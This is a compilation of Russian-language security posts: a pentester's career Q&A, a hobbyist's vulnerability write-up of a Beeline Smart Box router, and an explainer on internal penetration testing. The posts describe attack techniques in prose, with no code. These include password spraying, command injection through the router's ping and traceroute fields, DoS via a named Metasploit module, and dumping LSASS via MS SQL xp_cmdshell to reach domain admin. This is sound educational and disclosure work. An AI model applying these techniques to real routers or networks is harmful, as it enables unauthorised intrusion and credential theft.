Это причины, по которым компании обращаются к пентестерам, и мы проводим тесты. А вот с качеством, на самом деле, очень сложно. Я уже говорил, что в пентесте изначально не детерминирован объем работы, но и результат тоже не детерминирован. Вы можете заказать пентест за 6 миллионов рублей и получить отчет, состоящий из слов уязвимостей не нашли. Как проверить, что работа была выполнена, причем качественно? Вы не можете этого понять. Для того, чтобы это точно проверить, нужно практически провести всю эту работу заново. Вы можете пытаться мониторить логи, чтобы следить, что от пентестеров действительно шла сетевая активность, но это все сложно. А по-простому проверить качество работы невозможно.
Возможные меры, кроме слежения за активностью просить подробные отчеты о том, что делается, просить артефакты, отчеты от сканеров и прочие логи, например, от инструмента Burp. Изначально можно обсудить методологию что вообще собираются делать пентестеры. Из этого может стать ясно, что они понимают. Но все это требует навыков и знаний поэтому, если в компании нет безопасников, которые уже взаимодействовали с пентестерами и понимают эти услуги, проверить качество работ не получится.

Q: скажите, с чего лучше начать? Идеальный возраст для глубокого погружения в сферу пентеста?

Оба этих вопроса про карьеру, и тут можно поменять пентест на программирование, например. Я бы сказал, что нет никакого идеального возраста, но это такая мантра, которую все повторяют якобы, никогда не поздно. Но, конечно, если человек начнет заниматься в 10 лет, то он скорее добьется успеха и быстрее будет обучаться, чем если он начнет в 40 лет; хотя это не значит, что начинать в 40 лет бесполезно. Просто понадобится больше усилий. Во-вторых, если говорить с утилитарной точки зрения для работы в сфере пентеста, для того, чтобы стать пентестером и устроиться на работу, порог входа ниже, чем для разработки. Потому что для того, чтобы начать приносить пользу в разработке, нужно хотя бы уметь программировать и знать какие-то технологии. А для того, чтобы начать хоть что-то делать в пентесте хотя это и может быть иллюзия деятельности достаточно научиться пользоваться парой инструментов и интерпретировать результаты этой работы. Но это будет совсем базовый порог входа. Для того, чтобы действительно круто прокачаться в пентесте, потребуется уже больше усилий, чем для разработки. Для того, чтобы по-настоящему прокачаться в хакерстве, нужно знать разработку причем даже не в одном языке программирования и технологическом стеке, а в нескольких. Еще нужно хотя бы в какой-то мере (а лучше хорошо) знать инфраструктуру, сети, администрирование Windows и Linux, и программирование. Нужно глубокое погружение в какую-то сферу, и при этом еще и уметь ломать. То есть, нижний порог входа в пентесте ниже, но стать senior или выше сложнее.

Для того, чтобы не застрять на первой ступеньке, нужно начать с изучения фундаментальных вещей. Программирование, сети, вообще технологии как устроены ОС, сети, как деплоятся современные сервисы, как в различных языках программирования работают различные известные атаки, как от них защищаться. Много всего, но все это фундаментальные вещи, которые надо знать, чтобы продвинуться.

Q: реальны ли сейчас атаки на wifi Evil Twin, или у компаний авторизации через RADIUS-сервер?

Честно говоря, не могу экспертно ответить, не обладая статистикой. Я думаю, у всех по-разному; наверняка много где прекрасно сработает Evil Twin.

Q: используете ли в своей работе методики и подходы NIST, OSSTMM, OSINT, OWASP и т.п., и какие можете выделить?

OSINT это не то чтобы методика, это просто разведка по открытым источникам. OWASP это вообще организация, но у этой организации есть методики для тестирования веб-приложений, мобильных приложений, и мы им следуем; по крайней мере, по духу, не выполняя каждый чеклист по галочкам они могут быть довольно спорные. Методологиям OSSTMM мы следуем; по-моему, как раз в OSSTMM и изложены шаги про разведку, сканирование, эксплуатацию, постэксплуатацию, зачистку то есть, основной смысл этой методологии в том, что должны быть применены такие шаги, но дальше детализируется намного больше.

В общем, коротко да, но не буквально. Мы следуем духу этой методологии.

Q: что спрашивают на собеседованиях?

По-разному. Зависит от того, на какую позицию вы идете. Часто паттерн вопроса бывает такой. Вам описывают какую-то ситуацию например, говорят: вы получили исполнение кода на сервере Linux извне, через периметр пробились, поломали веб-сервер, вы внутри, какие выполните действия дальше? Или вы попали на рабочую станцию сотрудника, какие дальнейшие действия? Или вы нашли уязвимость в cross-site scripting на какой-то странице, там внедрена политика content security policy с такими-то параметрами, как вы будете ее обходить? Такого плана вопросы обычно бывают.

Q: какой порог входа в bug bounty, и реально ли жить только на нём?

Bug bounty это вознаграждения за ошибки. Программы, в рамках которых компания дает деньги людям, сообщающим об уязвимостях в системах этой компании. Такой краудсорсинг пентеста, когда он проводится не по договору между двумя компаниями, а через публичную оферту. Это для тех, кто не знает.

На самом деле, bug bounty это растущая штука. Есть большие площадки, где много программ. Порог входа для участия в bug bounty для пентестеров он и низкий, и высокий. Низкий в том смысле, что этих программ bug bounty и ресурсов, которые можно поломать, существует столько, что уж какие-то простые уязвимости найти можно. Не обязательно сложные. Но, с другой стороны, можно упереться в какую-нибудь программу, где уже все простые баги нашли, и потратить на копание в ней два месяца, ничего не найдя. Это очень демотивирует. Поэтому часто бывает, что люди пробуют себя на этом поприще, и им не везет они напарываются на что-то сложное и не находят уязвимостей.

В целом, в bug bounty много людей, которые зарабатывают большие деньги, не обладая при этом уникальными и выдающимися знаниями. Либо им повезло пару раз, либо они поняли фишку bug bounty и научились находить программы и ресурсы, в которых будут простые уязвимости. Еще часто бывает, что человек находит какую-то уязвимость на каком-то ресурсе и потом понимает, что она на самом деле очень распространена, и таким же образом можно поломать еще много компаний, монетизируя это. Реально ли жить только на bug bounty да, есть даже миллионеры, которые сотни тысяч долларов в год делают только на bug bounty. Их мало; большинство, конечно, зарабатывает довольно мало. Но достаточно велик пласт людей, которые зарабатывают хотя бы десятки тысяч в год. То есть, уже не единицы и десятки человек, а сотни.

Q: Расскажите про версии Metasploit. Я слышал, что их несколько, и среди них есть платные. В чем разница?

Я думаю, можно зайти на сайт платной версии и прочитать, в чем разница. Я давно не пользовался Metasploit pro, но там есть web-интерфейс, как минимум. Это одно из отличий; я сейчас с ходу не скажу, какие там еще отличия принципиальные. Возможно, какие-то еще модули есть.

Я думал рассказать про то, какие обычно встречаются уязвимости. На самом деле, многие компании проводят пентесты в течение года и подсчитывают количество уязвимостей разных типов, чтобы подвести статистику по итогам года. Я такую статистику не подводил, но, если говорить по ощущениям и по таким самым простым вещам, которые обнаруживаются, в инфраструктуре самые простые и действенные уязвимости, которые приносят атакующим много пользы это слабые парольные политики. Банальный перебор паролей это бич инфраструктур. Если в компании работает хотя бы 500 человек, то довольно существенная часть из них будет не особенно технически подкована. Хотя бы у одного из них обычно можно подобрать пароль брутфорсом. Особенно это прикольно работает, когда в компании внедрена парольная политика, которая заставляет, например, иметь пароль, содержащий большую букву, маленькую букву и цифру, не короче 8 символов, и менять его раз в три месяца или в месяц. Это приводит к плохим результатам. Если человека заставляют делать так, то он не может запомнить пароль. Если он не пользуется менеджером паролей со случайными паролями, то он иногда просто пишет текущий месяц с большой буквы (типа December2020). На самом деле, это очень распространено во всех типовых корпоративных инфраструктурах представьте Active Directory, сотни сотрудников с Windows на машинах. Можно просто брать текущий или прошедший месяц и год, пройтись по всем учетным записям кто-нибудь да поломается. Очень действенная атака.

Если говорить о web-сервисах, то там самая простая атака это обход авторизации и доступ к данным других клиентов. Атака заключается в том, что вы берете запрос к web-приложению, который выдает, например, вашу банковскую выписку по номеру счета. В ссылке или в запросе на сайт передается номер счета, числовой, в ответ выдается PDF-файл с выпиской. Вы меняете свой номер счета на номер чужого счета, и получаете чужую выписку.

Эта уязвимость называется insecure direct object reference небезопасная прямая ссылка на объект. В современных сервисах это самая распространенная уязвимость, по моим наблюдениям. Более классические уязвимости, которые были распространены в прошлом например, SQL-инъекции и межсайтовый скриптинг встречаются все-таки реже в сервисах, написанных с использованием современных фреймворков. Особенно SQL-инъекции. Но вот логические ошибки попадаются, потому что от них фреймворки не спасают. Разработчик должен сам думать о том, как защититься, как реализовать ролевую модель и разграничить доступ к объектам.

Q: вы говорите о некой градации дыр в системе, не могли бы вы привести примеры простых, средних, сложных уязвимостях?

Я не помню, в каком контексте я об этом говорил, честно говоря. Ну, только что я говорил о том, что простые уязвимости это те, которые легко найти и легко эксплуатировать. Наверно, по этим параметрам можно охарактеризовать сложность уязвимости сложность поиска и сложность эксплуатации. Может быть такое, что найти ее сложно например, это какая-то хитрая логическая уязвимость, для эксплуатации которой нужно понимать логику работы сервиса и взаимодействие различных компонент, но при этом эксплуатация простая: нужно просто отправить несколько запросов. Или, например, может быть сложно найти, потому что вам дали исходники на 100 мб с миллионом строк кода сиди, читай.

Найти в этих 100 мб уязвимость может быть сложно но эксплуатировать может быть легко. Или наоборот эксплуатировать сложно из-за каких-то ограничений, из-за фаерволов. Но в отчетах по пентесту нет градации простые-сложные: есть градация по критичности. Критичность складывается из уровня риска то есть, из уровня ущерба и из вероятности эксплуатации. Хотя вероятность это почти то же, что сложность. Если нам для нахождения уязвимости потребовалась куча времени и навыки senior-пентестера, то мы можем оценить вероятность эксплуатации как невысокую. Мы нашли за три недели копания, а другие могут вообще не найти. Но при этом ущерб от этой уязвимости может быть высоким. Совместив такие показатели, получаем средний уровень риска.

Отчеты по пентесту имеют довольно стандартный шаблон. Бывает вводная часть, где просто описывается, что мы пентестили и зачем, какая модель нарушителя внешний или внутренний доступ, есть учетки у него или нет. Дальше идет резюме, в котором описывается кратко результат: какие уязвимости обнаружены, какой уровень защищенности все плохо или все хорошо. Описывается каждая уязвимость, демонстрируется со скриншотами, дается код, чтобы разработчики компании все поняли. И даются рекомендации. Там же дается оценка вероятности и уровня ущерба.

Q: много ли у вас при проведении пентеста встречались непропатченные Windows 7 c ms17-010 в корпоративном секторе?

Бывают. Обычно не в домене, правда. Не слишком много.

Q: как понять, что пора на собеседование? Как выделится среди других кандидатов? (возможно знания языков программирования или аккаунт на площадках по типу HackTheBox)

Я бы больше поставил на аккаунт на площадках. Если вы, конечно, там честно решаете задачи. Если нечестно тогда и знаний не будет, и вы все равно собеседование не пройдете.
Вообще, конечно, есть еще сертификации. Они ничего толком не показывают, но помогают пройти HR-фильтры и пробиться дальше.

Q: можете дать рекомендации по поводу литературы и ресурсов для закладки основ?

Да, правда, в не очень удобном формате.

Ссылки, которые предоставил Омар
Табличка про знания пентестеров:
docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec/edit#gid=0

Блоги:
blog.deteact.com/ru
blog.orange.tw
swarm.ptsecurity.com
malicious.link/post
adsecurity.org
posts.specterops.io/archive

Учебные площадки:
portswigger.net/web-security
www.hackthebox.eu
overthewire.org/wargames
ctftime.org

Литература:
Хакинг. Искусство эксплойта
Web Application Hacker's Handbook
The Tangled Web


Но сейчас нет недостатка в литературе сложность, скорее, в том, чтобы выбрать из массы материалов то, что подходит вам. Гуглите pentest courses сразу будет куча всего. Площадка HackTheBox отличная; я ничего не решал на ней, но имею представление. Думаю, многим навыкам там можно обучиться.

Q: какой ещё язык программирования стоит изучить, кроме Python и Bash?

Bash, наверно, действительно нужно уметь. Кстати, есть отличная площадка OverTheWireBandit, где можно хорошо потренировать Bash. А так достаточно одного языка, которым вы владеете в достаточной мере, чтобы выполнять задачи. Конечно, бывают такие задачи, для которых Python не подойдет например, если нужно быстро собирать данные с множества хостов по всему интернету. Но для большинства задач он подойдет. Однако, чем больше языков вы знаете хотя бы на уровне понимания парадигмы и чтения синтаксиса тем лучше. В ходе пентестов и аудитов вы будете сталкиваться с разными стеками и с приложениями, написанными на разных языках нужно уметь понимать, как они работают. Кроме того, даже если вы совсем не занимаетесь аудитом исходников ПО занимаетесь только инфраструктурой то вам все равно следует знать разные языки. Очень многие инструменты написаны не на Python. Если инструмент будет плохо работать возможно, придется разбираться в нем, читать код, патчить. Скажем, в инфраструктуре Windows это в основном C#.

Q: какие сертификаты наиболее востребованы для редтима, но кроме OSCP?

Именно для редтима? Есть сертификаты, которые так и называются Certified Redream Professional, Certified Redteam Expert, Pentester Academy. Но они не очень востребованы, они просто есть. Затрудняюсь ответить, какие именно действительно востребованы. Востребованность исчисляется тем, сколько работодателей вписывает их в требования вакансий, и сколько заказчиков в тендерные требования. Часто бывает, что требуется от сотрудников подрядчика наличие сертификата и там чаще всего OSCP или CEH старый сертификат, даже скорее теоретический, а не практический.

Q: нужны ли навыки декомпилирования в пентесте?

В какой-то мере да. Особенно если вы работаете именно с application security, в анализе защищенности приложений. Там это может пригодиться. Но чаще всего с мобильными приложениями: для них вам могут не давать исходники, но само приложение у вас будет, и вы будете его декомпилировать, реверс-инжинирить.

Вообще, если спрашивать на тему нужны ли навыки ну, про любой навык можно сказать, что он полезен. Но невозможно знать абсолютно все. Знать много хорошо, но нужно все-таки понимать свою специализацию, понимать, что вы умеете лучше. Даже внутри web-приложений бывают специализации; бывают специализации по индустриям например, человек может хорошо знать уязвимости платежных сервисов. Неважно, на уровне web или финансовой логики; бывают люди, которые только и занимаются тем, что тестируют платежные терминалы, интернет-банкинг, карточный эквайринг и так далее. Вроде бы это все одна область, но на самом деле там очень разные штуки. И хардвер может быть разный (смарткарты, терминалы), и web, и API, и мобильные приложения. Одним словом, любой навык может быть полезен, но не обязателен. Обязательно иметь какую-то критическую массу навыков и знаний.

Могу добавить насчет стоимости и востребованности. По моим оценкам, размер российского рынка пентестов около одного-полутора миллиардов рублей. Это я считал по итогам на конец 19 года. Имеется ввиду, что именно столько российские компании тратят на пентесты. Конечно, пентестерские компании могут хотя бы немного продавать услуги за рубеж, поэтому итоговый размер рынка будет несколько больше. Конечно, рынок пентеста очень фрагментирован; бывает очень много маленьких компаний, которые зарабатывают немного. Заказчики склонны менять поставщиков пентестов, потому что ротация обеспечивает свежий взгляд и максимальное покрытие. Одна команда, допустим, пропускает одну уязвимость, а другая заметит ее, но может пропустить другую. В силу этого не бывает полной монополии чтобы одна команда засела, и пентесты покупали только у нее. Они меняются каждый год.

Q: за сколько часов управились с экзаменами OSCP?

Не помню, несколько часов. Честно говоря, я сдавал два раза; в первый раз я прорешал все в течение дня, написал 80-страничный отчет, но не прочитал требования к нему. Оказалось, что нужен определенный формат скринов, и мой отчет не приняли, поэтому пришлось сдавать снова. На пересдаче ушло часов 5.

Q: посоветуйте русскоязычных блогеров в сфере пентеста

У нашей компании есть блог. Правда, мы нечасто пишем. Вообще, надо подписываться в Twitter на людей; большинство пентестеров пишет на английском, в том числе русскоязычные пентестеры. Мы стараемся дублировать и на русском пишем, и на английском. Я информацию получаю из Twitter подписываюсь на интересных людей, которые рано или поздно репостят все интересное, поэтому можно не следить специально за блогами, а получать все через Twitter. Или через Telegram-каналы. Русскоязычных блогеров нет, мне кажется.

Q: какие шансы у Linux/Network Administrator попасть в пентест?

Прямая дорога в инфраструктурный пентест. Будет достаточно несложно вкатиться, если администратор хорошо понимает сеть и Linux. Единственное будет еще короче дорога, если это Windows-администратор; корпоративные сети это обычно Windows. Но все равно нормально, это хороший бэкграунд.

На самом деле, у меня есть Google-табличка, куда я выписал набор знаний для разных специализаций и уровней пентестеров. Стажер, младший, средний, старший, с разделением на Web и инфраструктуру. Наверно, ссылку можно будет вставить; она будет и на Хабре, если будет итоговый пост. Это мои субъективные требования, но я их немного менял по фидбеку от людей, которые давали свои замечание и предложения и добавляли что-то. Поэтому можно считать их плюс-минус адекватными и ориентироваться на них. Там и сертификации перечислены, и даже зарплатные расценки на рынке, и направления для развития.

Q: как красиво уйти от вопроса от заказчика, который он может задать в процессе пентеста Ну что, нашли что-нибудь?

А зачем уходить от вопроса? Ответьте. Если еще не нашли ничего, то не нашли. Вам же, рано ли поздно, придется отвечать на этот вопрос в отчете. Поэтому нормально, что вас спросили через неделю после начала работы и вы говорите, что не нашли.

Q: где смотреть вакансии на пентестера? В hh очень мало.

Да, в Headhunter мало. Обычно все ищут друг друга по знакомству, поэтому, наверно, надо просто общаться с людьми. Можно разместить свое резюме возможно, в таком режиме будет больше внимания. Также можно поискать вакансии в LinkedIn. И еще бывают Telegram-каналы, в которых выкладывают вакансии

Q: что вы думаете про площадку tryhackme?

Не знаю такую. Сейчас очень много площадок, по web я бы порекомендовал Portswigger Academy порешать. Portswigger это компания, которая разрабатывает Burp.

Q: пентест и удаленка. Реально? Или в связи со спецификой работы стараются набирать в офис?

Реально. Ну, сейчас вообще все на удаленке работают, даже большие компании. Понятно, что, если вы рассматриваете чисто удаленный вариант, то могут быть сложности. Бывает еще такой формат, что вы сначала приезжаете в офис работать, на месяц, например, а потом уже удаленно.

Q: есть ли публичная БД или список типичных уязвимостей, чтобы поучиться? Или книжка какая-нибудь?

Да, например, OWASP Top 10. Это достаточно спорная штука, но это топ-10 уязвимостей в web-приложениях. Есть еще CWE (Common Weakness Enumeration) попытка классификации всех уязвимостей, разбиение их на иерархическую систему. Можно посмотреть, там есть примеры конкретных уязвимостей. Другой каталог CVE, это просто каталог уязвимостей в различном ПО. Там тоже есть реальные примеры, можно посмотреть, разобраться, как работают эксплоиты.

Q: можете прочитать немного вашу табличку со спецификациями?

Голосовой формат, конечно, странный. Я могу расшарить экран. [экран не расшаривается] Я думаю, ссылка на документ будет на хабре. Там написано, сколько нужно опыта (в годах) для каждого уровня; это, конечно, субъективно скорее, как ориентир. Описаны навыки, в произвольном порядке. Зарплата и сертификация, на которые можно ориентироваться. И путь роста что делать, чтобы выйти на следующий уровень. Например, для junior pentester нужно около года опыта или работы, или изучения; если человек не изучал хотя бы год не занимался IT или программированием и сразу попытался вкатиться в пентест, то он вряд ли имеет знания и навыки. Основные требования на этом уровне общее знакомство с методологией пентеста, знание основ технологии, умение пользоваться Linux и писать простые скрипты, которые работают с сетью (парсеры, например), знание регулярных выражений, знание протокола HTP, работа с инструментами сканерами уязвимости и Burp. В общем, почитайте, я не буду все перечислять.

Q: что делать в условиях, когда почти все вакансии требуют от 2ух лет опыта? Залипнуть в Bug Bounty и HackTheBox или пытаться пробиться на уровень, которому не соответствуешь?

Это фигня. Требуют и требуют на самом деле, смотреть-то будут на знания. Вы можете записать в опыт как раз bug bounty и HackTheBox. Если вы реально не соответствуете нужному уровню по знаниям и пониманию значит, не соответствуете. Но формальный критерий по количеству лет опыта не так важен, я думаю.

Подробнее..

Из песочницы Анализ безопасности роутера Smart box

12.07.2020 16:04:26 | Автор: admin
Здравствуй, дорогой читатель!

Сегодня мы начнем с того, что в один момент я решил вместо того, чтобы тренироваться на уязвимых машинах, протестировать свой собственный Wi-Fi роутер на уязвимости, который я получил еще в 2015 году. Тогда был очень популярный тариф у Билайна, когда вместе с подключением интернета, в аренду за 1 рубль шел и сам Wi-Fi роутер, который я и решил протестировать.

Роутер Smart Box, последняя версия прошивки 2.0.38 (Релиз прошивки 2017 года), с тех пор, обновлений не поступало.

image

Начало


По умолчанию у роутера есть 2 учетные записи admin и SuperUser, об этом мало кто знает, но об этом есть информация в открытых источниках. Пароль от пользователя SuperUser, это серийный номер роутера и его можно узнать в настройках во вкладке Расширенные настройки > Информация или на наклейке под роутером. Соответственно у пользователя SuperUser больше возможностей по настройке роутера.

image
Пользователь admin/SuperUser

У роутера есть несколько видов учетных записей Пользователь, администратор и производитель, соответственно у них разные привилегия в плане конфигурации роутера и это мы берем на заметку.

OS Command Injection


Да, у роутера есть уязвимость внедрения команд.

Сперва мы авторизовываемся и переходим в Расширенные настройки > Другие > Диагностика и мы можем осуществить Ping, nslookup и traceroute, с помощью встроенных функции роутера. Попробуем выполнить ping и тем самым выполнить другую команду.

image
Защита на стороне клиента

Как мы видим, нас предупреждают что адрес некорректный, но эта защита работает только на стороне клиента. Если мы перехватим запрос и изменим его, то мы обойдем эту защиту. А делать я это буду с помощью инструмента Burp Suite pro.

imageПерехватываем запрос и изменяем его

image
Результат

Как мы видим, вместо пинга выполнилась совершенно другая команда, которую мы указали, когда перехватывали запрос. Тут мы видим, что у роутера есть 3 учетные записи (SuperUser, User, admin), пользователя User я создал сам. По умолчанию будет только 2 пользователя (SuperUser и admin). Вот с помощью этой уязвимости, я узнал про пользователя SuperUser, тогда я был очень удивлен и мне стало очень интересно.

Данная уязвимость присутствует и в nslookup и traceroute и эксплуатируется она таким же способом, с помощью перехвата запроса. Ниже прикрепляю PoC видео с эксплуатацией уязвимостей.

Ping

Nslookup

Traceroute


Помните в начале мы брали на заметку, что есть 3 типа учетных записей? Так вот, независимо от типа учетной записи, команды выполняются с привилегиями SuperUser, что дает нам больше возможностей. И да, уязвимость присутствует в любой типе учетной записи (Пользователь, администратор и производитель).

Уязвимые сервисы


У роутера есть 3 сервиса OpenSSH 5.2, FTP vsftpd 3.0.2 и Samba 3.0.22. Сервисы старых версии и в них найдено множество уязвимостей за все время. Чтобы вы понимали, на момент написания статьи, последние версии сервисов (OpenSSH 8.2, FTP vsftpd 3.0.3 и Samba 4.12.0). Я отобрал пару эксплойтов к этим сервисам для теста и начнем мы по порядку.

OpenSSH (5.2)


Уязвимость CVE-20166515 позволяет вызвать отказ в обслуживании DoS.

Я авторизовываюсь в системе роутера по SSH и с помощью команды top мониторим нагрузку на процессор и смотрим на поле (CPU) и эксплуатируем уязвимость.

image
В обычном состояний

image
После эксплуатации уязвимости

В итоге веб-страницы могут долго грузится и даже в какой то момент роутер может намертво зависнуть и даже уйти в перезагрузку. Но у меня был забавный случай, когда во время эксплуатации этой уязвимости, мой компьютер ушел в перезагрузку с синим экраном смерти (Грустный смайлик), это было очень неожиданно и странно:D

Ниже прикладываю PoC видео с эксплуатацией этой уязвимости.

Эксплуатация CVE-20166515


Samba (3.0.22)


Уязвимость smb loris, которая позволяет вызвать отказ в обслуживании DoS. Данную уязвимость можно эксплуатировать с помощью metasploit, находиться она по пути auxiliary/dos/smb/smb_loris. В итоге роутер уйдет в перезагрузку.

Ниже прикладываю PoC видео с эксплуатацией уязвимости.

Эксплуатация SMB_Loris


FTP (vsftpd 3.0.2)


Уязвимость CVE-20151419, позволяет обойти ограничения доступа. Эксплоит к сожалению я не нашел, но тоже имеет место быть.

https


Да, у роутера есть возможность включения безопасного соединения. Как я понял, используется протокол шифрования SSL 2.0 или 3.0 и сертификат является самоподписанным, что вполне нормально для локальных роутеров. И в плане безопасности, SSL уже давно устарел и небезопасен. Сейчас используются более безопасные варианты, как TLS 1.3

Другие слабые места


Во время аутентификации в роутере, логин и пароль кодируются в base64, что не составляет особого труда декодировать их. С учетом того что по умолчанию не используется протокол https, для зашифрованного соединения, то кодировка логина и пароля, это хоть какая то защита.

Лучше пусть данные передаются в кодированном состоянии, чем полностью в открытом. Скажу честно, в первое время, меня этот момент завел в заблуждения и только через некоторое время я понял, что данные кодируются.

image
Логин и пароль передаются в кодированном состоянии

image
После декодирования

Ниже прикладываю PoC видео с декодированием.

Base64 decode


Злоумышленникам не составит особо труда прослушать сеть и с помощью анализа трафика, выявить логин и пароль и декодировать их.

Обращение в Билайн


Изначально я обратился к ним с помощью онлайн-чата и они порекомендовали мне позвонить и там задать все вопросы, что я и сделал.

Задал я всего лишь пару вопросов и вот какой итог: Роутер Smart box больше не актуален и обновления больше на него выходить не будут. И как я писал в самом начале, он перестал обновляться с 2017 года, вот тогда и было его последнее обновление. Как упомянул оператор Алексей (Если ты это читаешь, большой привет тебе) что роутер Smart box one до сих пор поддерживается и если в нем кто нибудь найдет уязвимость, то может смело звонить и информацию передадут в службу безопасности. Как я понял, Smart box one это следующая модель после Smart box.

Итоги


Роутер сам по себе хороший, но в плане безопасности он к сожалению устарел. Если им и пользоваться, то рекомендуется отключить такие службы как SSH,FTP и Samba, так как они старых версий и в них найдено много уязвимостей и пользоваться ими небезопасно, особенно в глобальной сети. Будет еще лучше, сменить роутер на более новую модель (Не важно от какого вендора) который будет поддерживаться в плане обновлений безопасности.

Напоследок зайдем в Shodan и посмотрим, сколько доступно роутеров Smart box в глобальной сети.

image

Как мы видим, всего найдено 79 устройств и это еще с учетом того, что у меня аккаунт бесплатной версии, без подписки. Соответственно с подпиской будет куда больше результатов и возможностей. Так же тут стоит учесть, что в глобальной сети доступно Smart box роутеров разных моделей, как мы видим справа. Так вот, большинство Smart box роутеров (Не важно от модели роутера), используют те же самые версии уязвимых сервисов, о которых я писал выше и доступны они в глобальной сети, а это предоставляет угрозу безопасности.

Уязвимости OS Command Injection присвоен CVE идентификатор CVE-2020-12246.

Под конец статьи, я бы хотел дать пару советов читателям:

  1. Обновляйте прошивки своих роутеров
  2. Отключайте неиспользуемые вами службы
  3. Следите за активностью в вашей сети

Безопасность роутера действительно важна, ведь к нему подключается множество устройств, а эти устройства могут стать целями злоумышленников для компрометации.

Статья взята из моего блога.
Подробнее..

Протестируй меня полностью кому и зачем нужен внутренний пентест

21.07.2020 10:07:42 | Автор: admin

Опаснее всего враг, о котором не подозреваешь.
(Фернандо Рохас)

ИТ-инфраструктуру современной компании можно сравнить со средневековым замком. Высокие стены, глубокий ров и стража у ворот защищают от внешнего врага, а за тем, что происходит внутри крепостных стен, практически никто не следит. Так же и многие компании: они прилагают колоссальные усилия для защиты внешнего периметра, а внутренняя инфраструктура при этом остается обделенной. Внутреннее тестирование на проникновение для большинства заказчиков пока процесс экзотический и не очень понятный. Поэтому мы решили рассказать о нем все (ну, почти все), что вы хотели знать, но боялись спросить.

Внешний враг (страшный хакер в черной толстовке с капюшоном) выглядит пугающе, но огромная часть утечек корпоративной информации происходит по вине инсайдеров. По статистике нашего центра мониторинга Solar JSOC, на внутренние инциденты приходится примерно 43% от общего количества угроз. Одни организации полагаются на средства защиты часто некорректно настроенные, которые можно легко обойти или отключить. Другие вообще не рассматривают инсайдера как угрозу и закрывают глаза на недостатки защиты внутренней инфраструктуры.

Проблемы, которые мы выявляем при анализе внутрянки, кочуют из компании в компанию:
слабые и неизменяемые пароли для сервисных и привилегированных учетных записей;
одинаковые пароли для обычной учетной записи администратора и привилегированной;
одна учетная запись локального администратора на всех рабочих станциях в сети;
ненадежное хранение паролей;
активные учетные записи уволенных сотрудников;
чрезмерные привилегии для сервисных и пользовательских учетных записей;
отсутствие сегментации сети.

Важно: в этом посте речь идет о Windows-сетях с использованием Active Directory.

Кто и что проверяет


Глобально тестирование на проникновение позволяет выявить, насколько потенциальный злоумышленник может навредить ИТ-инфраструктуре конкретной компании. Для этого специалисты по кибербезопасности, проводящие пентест, симулируют действия хакера с применением реальных техник и инструментов, но без вреда для заказчика. Результаты проверки помогают повысить уровень безопасности организации, сократив риски для бизнеса. У такого тестирования есть два направления: внешнее и внутреннее. В первом случае белый хакер должен найти уязвимости, с помощью которых можно проникнуть во внутреннюю сеть (то есть пробить ту самую крепостную стену).

Внутреннее же тестирование на проникновение проверяет, насколько инфраструктура уязвима перед инсайдером или нарушителем, у которого есть доступ в локальную сеть организации. Смогут ли они при желании контролировать ЛВС, беспрепятственно передвигаться по ней и влиять на работу отдельных серверов? Такие работы проводятся во внутренней сети, причем чаще с позиции сотрудника, обладающего минимальными привилегиями. При этом проверять можно (и нужно) даже тех работников, которые имеют только физический доступ к компьютерам (например, уборщики, электрики, охранники, курьеры и пр.).

Пентест не должен выявлять все существующие в компании уязвимости на всех хостах внутренней сети (это можно сделать с помощью сканера уязвимостей или корректной настройкой политик управления уязвимостями). У него совсем другая задача: найти один-два маршрута, по которым может пойти злоумышленник, чтобы успешно атаковать свою жертву. Выполнение работ фокусируется на настройках безопасности и особенностях Windows. Словом, здесь уже не будет производиться, например, сканирование открытых портов и поиск хостов с неустановленными обновлениями.

Как это происходит


Тестирование безопасности внутренней инфраструктуры проходит в несколько этапов:


Вот пример того, как в реальности проходил подобный внутренний пентест в рамках одного из наших проектов:
сначала мы выявили общие файловые ресурсы, на которых располагались веб-приложения;
в одном файле конфигурации обнаружили пароль пользователя SA (Super Admin) к базе данных MS SQL;
с помощью встроенной в MS SQL утилиты sqldumper.exe и процедуры xp_cmdshell получили дамп процесса LSASS, через подключение к СУБД:
из процесса извлекли пароль пользователя с привилегиями доменного администратора.

Так как внутреннее тестирование на проникновение рассматривает только внутреннюю (что очевидно) инфраструктуру организации, совершенно не важно, каким образом злоумышленник получил первоначальный доступ в сеть важно, как он воспользовался этим доступом. Поэтому в финальном отчете, составленном по итогам пентеста, описываются не обнаруженные уязвимости, а история того, как специалист продвигался по сети, с какими препятствиями и трудностями он столкнулся, как их обошел и каким образом выполнил поставленную задачу. Специалист может обнаружить несколько недостатков, но для достижения цели будет выбран один самый оптимальный или интересный. При этом все замеченные по дороге уязвимости также попадут в отчет. В результате заказчик получит рекомендации по исправлению недочетов и повышению уровня безопасности внутренней инфраструктуры.

По сути внутренний пентест продолжает внешний, отвечая на вопрос: Что произойдет после того, как киберпреступник попал в сеть?. Для сравнения в процессе тестирования на проникновение внешнего периметра обычно используется следующая методология:


Кто заходит в инфраструктуру


Итак, каким образом злоумышленник попал в сеть не важно, поэтому на начальном этапе планирования работ по внутреннему пентесту могут рассматриваться модели инсайдера или внешнего нарушителя.

1) Модель инсайдера. Инсайдер это мотивированный внутренний злоумышленник, у которого есть легитимный доступ к инфраструктуре организации, ограниченный только должностными обязанностями. Например, реальный сотрудник, который решил навредить своей компании. Также в роле инсайдеров могут выступать сотрудники вспомогательных служб (охранники, уборщики, электрики и др.), у них есть легитимный доступ в офис, но отсутствуют права доступа к инфраструктуре.

2) Модель внешнего нарушителя. Модель не фокусируется на том, каким образом был получен доступ (уязвимость в ПО периметра, утечка учетных данных, социальная инженерия или что-то другое) во внутреннюю сеть организации. За начальную точку принимается тот факт, что чужак уже внутри.

После составления модели угрозы моделируется и сама ситуация, при которой исполнитель получит доступ к инфраструктуре:
физический доступ с предоставлением рабочего места и учетных данных пользователя;
физический доступ с предоставлением доступа в сеть без учетных данных. Доступ в сеть может быть как проводной, так и беспроводной (Wi-Fi);
удаленный доступ к рабочему месту или сервису удаленных рабочих столов. Это самый распространенный вариант: в данном случае моделируется или инсайдер, или злоумышленник, получивший доступ через утечку учетных данных либо перебор паролей;
запуск вредоносного документа, эмуляция фишинговой атаки. Документ запускается с целью установки канала связи с командным центром (Command & Control), откуда будет проводиться пентест. Этот метод относительно новый для тестирования безопасности внутренней инфраструктуры, но наиболее реалистичный с точки зрения действий злоумышленника.

